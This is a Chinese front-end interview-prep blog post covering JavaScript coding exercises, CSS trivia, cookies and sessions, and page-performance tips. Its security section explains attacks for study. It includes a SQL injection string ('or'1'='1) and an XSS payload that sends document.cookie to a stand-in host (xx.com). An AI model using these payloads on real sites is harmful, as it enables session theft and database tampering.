11月笔试题&面试

  • 笔试
    • 编程
    • 问答
  • 面试
    • cookie&session
    • 安全
    • 页面加载与渲染
    • 性能优化

笔试

编程题

1.给出一个字符串,求出其中出现次数最多的字符和其出现的次数;

1
2
3
4
5
我的思路:
- 首先获取没有重复的字符合集数组tmp;
- 再获取与tmp索引对应的字符出现次数数组sum;
- 找出sum中数字最大的索引max;
- 会出现两种情况:sum中数字最大的只有一个;有多个;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
let str = "asdfgfggaa";
let arr=[],tmp=[],sum=[],max=0;
arr = str.split("");
tmp.push(arr[0]);
// 获取字符串中只出现一次的字符的集合:数组tmp
for(let j=0;j<arr.length;j++){
if(tmp.indexOf(arr[j]) === -1){
tmp.push(arr[j]);
}
}
//获取跟tmp数组相对应的其内部元素出现的次数的数组sum
for(let i=0;i<tmp.length;i++ ){
let result = arr.filter(function (item) {
return tmp[i]===item;
});
sum[i] = result.length;
}
// 得到出现次数最多的字符的索引max
for(let j=0;j<sum.length;j++){
if (sum[max] < sum[j]){
max = j;
}
}
//两种情况:次数最多只有一个;次数最多有多个
let query = sum.filter(function (item) {
return sum[max] === item;
});
if(query.length>1){
console.log('有多个次数最多的字符!');
console.log('出现的次数:'+sum[max]);
console.log('他们分别是:');
sum.map(function (item,index) {
if(item === sum[max]){
console.log(tmp[index]);
}
})
}else {
console.log('出现次数最多的字符:'+tmp[max]);
console.log('出现的次数:'+sum[max]);
}

结果:mark

分别求没有重复的数组和对应的出现次数还是太麻烦,用对象更简单!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
let str="asdfgfggaaa";
let json={};
for(let i=0;i<str.length;i++){
//判断json中是否存在str.charAr(i)的值
if(!json[str.charAt(i)]){
//不存在则将其存放在json中,赋值为1
json[str.charAt(i)]=1;
}else{
//存在则这个字符的值加1,即次数加1
json[str.charAt(i)]++;
}
}
console.log(json);
//char存储出现次数最多的字符,num为该字符出现的次数
let char='';
let num=0;
//遍历json,找到值最大的字符和值
for(let key in json){
if(json[key]>num){
//如果json[key]大于num,就将键(字符)存放在char中,值存放在num中
char=key;
num=json[key];
}
}
//再遍历一次json,输出所有键值等于最多次数num的键和值
for(let key in json){
if (json[key] === num ){
console.log('出现次数是:'+num);
console.log('字符是:'+key);
}
}

结果:mark

2.将一个url的参数解析出来并封装成json格式;

  • 获取“?”之后的部分
  • 以“&”分割各个参数
  • 以“=”分割各个参数与值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
let url = "https://www.baidu.com?name=guale&age=100&pwd=233&sex=male";
// 找到?的索引index
let index = url.indexOf('?');
// 剪切?之后的参数部分
let str = url.slice(index+1);
// 以&分割得到参数和值组成的数组
let arr = str.split('&');
let json={};

// 遍历arr数组,将数组每个元素以=分割,参数名存为json键,参数值存为对应键的值
arr.map( item => {
let tmp = item.split('=');
json[tmp[0]] = tmp[1];
});

结果:mark

一些小题

邮箱的正则

1
/^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$/;

rgb(255,16,25)转成十六进制格式

其实就是分别将255、16、25转成16进制(FF、10、19),再合并成#FF1019就可以了,当时不知道这关系。。。

1
#FF1019

font: 16px/20px Arial;所以行高和字体大小是多少?

font 简写属性在一个声明中设置所有字体属性,平时写都是分开写的。
可以按顺序设置如下属性:

  • font-style // 字体风格normal、italic、oblique、inherit
  • font-variant //字体异体 normal、small-caps、inherit
  • font-weight // nor、inh、100-900、bold、bolder、lighter
  • font-size/line-height
  • font-family
1
2
font-size:16px;
line-height:20px;

[,,,,].join(‘,’)结果是多少

首先[0,1,2,3,]其实就是[0,1,2,3],所以[,,,,].length=4,并不是5;

1
2
[0,1,2,3,].join(',') = "0,1,2,3"
[,,,,].join(',') = ",,,"

浏览器内核有哪些

safari和曾经的chrome是Webkit内核,IE是Trident内核(三叉戟),firefox是Gecko内核(壁虎),opera和google联合研发的Blink内核(Opera内核原为Presto)

transform:scale(2,2.5)用matrix怎么写

1
transformmatrix(2 0 0 2.5 0 0);

matrix(a,b,c,d,e,f),其中a和d控制scale缩放,e和f控制translate平移

面试

cookie和session的区别

  • cookie数据存放在客户的浏览器上,一般浏览器打开时会放在RAM中,关闭则放在硬盘中,session数据放在服务器上,可以放在文件、数据库、或内存中都可以。

  • cookie不是很安全,别人可以分析存放在本地的cookie并进行cookie欺骗。

  • session会在一定时间内保存在服务器上。当访问增多,会比较占用服务器的性能,考虑到减轻服务器性能方面,应当使用cookie。

  • 单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。

  • session 的运行依赖 session id,而 session id 是存在 cookie 中的,也就是说,如果浏览器禁用了 cookie ,同时 session 也会失效(但是可以通过其它方式实现,比如在 url 中传递 session_id参数)

  • 所以一般会将登陆信息等重要信息存放为session,其他信息可以放在cookie中

HTTP协议是无状态的协议,服务端需要记录用户的状态时就需要用到session。典型的场景比如购物车,当点击下单按钮时,由于HTTP协议无状态,所以并不知道是哪个用户操作的,因此服务端要为特定的用户创建了特定的Session,用于标识这个用户,这样才知道购物车里面有几本书。这个Session保存在服务端的,有一个唯一标识。
服务端保存Session的方法很多,内存、数据库、文件都有。集群的时候也要考虑Session的转移,在大型的网站,一般会有专门的Session服务器集群,用来保存用户会话,这个时候 Session 信息都是放在内存中。
session依赖与cookie,在服务器判断是哪个用户时,需要客户端cookie将本地的session id通过http请求发给服务器。
如果客户端的浏览器禁用了 Cookie 怎么办?一般这种情况下,会使用一种叫做URL重写的技术来进行会话跟踪,即每次HTTP交互,URL后面都会被附加上一个诸如 sid=xxxxx 这样的参数,服务端据此来识别用户。

两个标签页怎么通信

利用localStroage

localStorge在一个标签页里被添加、修改或删除时,都会触发一个Storage事件,通过在另一个标签页里监听storage事件,即可得到localStorge存储的值,实现不同标签页之间的通信。

1
2
3
4
5
6
7
8
9
//a页面
// 两种方法设置 localStorage
localStorage['name'] ='demo';
localStorage.setItem('name','demo');

//b页面
// 两种方法获取 localStorage
console.log(localStorage['name']);
console.log(localStorage.getItem('name'));

利用cookie和setInterval

将要传递的信息存储在cookie中,每隔一定时间读取cookie信息,即可随时获取要传递的信息。

1
2
3
4
5
6
7
8
9
10
//a页面
document.cookie="name=demo";

//b页面
function getKey(key) {
return JSON.parse("{\""+ document.cookie.replace(/;\s+/gim,"\",\"").replace(/=/gim, "\":\"") +"\"}")[key];
}
setInterval(function(){
console.log(getKey("name"));
},1000);

对jsp的了解

JSP 与 PHP、ASP、ASP.NET 等语言类似,运行在服务端的语言。全称Java Server Pages,jsp文件是在服务器上执行,JSP页面由HTML代码和嵌入其中的Java代码所组成,就想php代码可以写进html中一样,jsp使用<% jsp代码 %>插入到html中

对Promise的了解

Promise是异步编程的一种解决方案,在ES6推出之后成为了原生对象。面试时被问到promise一脸懵逼,为此特意整理了一篇博客Promise对象-异步编程解决方案

如何加快页面加载速度

  • 使用CDN加速
  • 雪碧图
  • 使用外部的JavaScript和CSS,当脚本或者样式是从外部引入的文件,浏览器就有可能缓存它们,从而在以后加载的时候能够直接使用缓存,而HTML文档的大小减小,从而提高加载速度。
  • 将js、css件合并压缩精简;
  • 压缩组件,Web客户端可以通过HTTP请求设置Accept-Encoding为gzip

如何加快页面渲染速度

  • 减少HTML DOM深度,因为DOM树的生成是从上到下,渲染完一个节点内的所有子节点才开始渲染下一个节点
  • 避免使用table标签
  • 将css放在head内,js放在body内最底部
  • 避免使用css表达式
  • 指定页面图片的尺寸,可以避免尺寸改变导致的页面结构效果的变化,所以对加快页面渲染速度有益。
  • 页面头部标明文档编码,客户端浏览器只有在确定了页面编码后才能正确的渲染页面

像素渲染流水线

  • 下载HTML文档
  • 解析HTML文档,生成DOM
  • 下载文档中引用的CSS、JS
  • 解析CSS样式表,生成CSSOM
  • 将JS代码交给JS引擎执行
  • 合并DOM和CSSOM,生成Render Tree
  • 根据Render Tree进行布局layout(为每个元素计算尺寸和位置信息)
  • 绘制(Paint)每个层中的元素(绘制每个瓦片,瓦片这个词与GIS中的瓦片含义相同)
  • 执行图层合并(Composite Layers)

前端安全

SQL注入

攻击者通过网页上搜索框提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。

1
2
3
4
5
6
7
8
//一般搜索通过get发送请求时url:
book.com/book?id=100
//说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:
select * from booktable where id='100'
//如果我们把url更改或者搜索框加上or'1'='1
book.com/book?id=100'or'1'='1
//后端:
select * from booktable where id='100'or'1'='1'

XSS(cross-site scripting跨域脚本攻击)

主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。
如发送垃圾邮件让别人点击:

1
book.com/search?name=<script>document.location='http://xx.com/get?cookie='+document.cookie</script>

服务器会返回并执行:

1
<script>document.location='http://xx.com/get?cookie='+document.cookie</script>

这样就可以将用户的浏览器中的该网站的cookie信息发给黑客。

基于本地的XSS攻击

为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,获取你的敏感数据,像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

防范

  • 文本输入时对js关键字做编码,让回给用户浏览器的js不可执行
  • 字符串过滤

CSRF(跨站请求伪造)

CSRF是通过伪装来自受信任用户的请求来利用受信任的网站;

  • 登录受信任网站a, 在本地生成cookie;
  • 不登出a的情况下访问危险网站b;
  • b要求访问a;
  • 用户访问a,并执行了恶意代码

例如:Bob在使用银行web线上转账时,通过from表单Get方法提交申请,这时候url会有相应的变化;
假如Alice获取到这个链接,并修改为转账给自己账户,然后将这个url写入一个img标签的src中(src没有跨域的限制),并通过邮件发给Bob;
Bob收到邮件并通过浏览器点击图片,浏览器在通过src加载img时,就变成了Bob以自己的身份向银行发起转账给黑客的请求。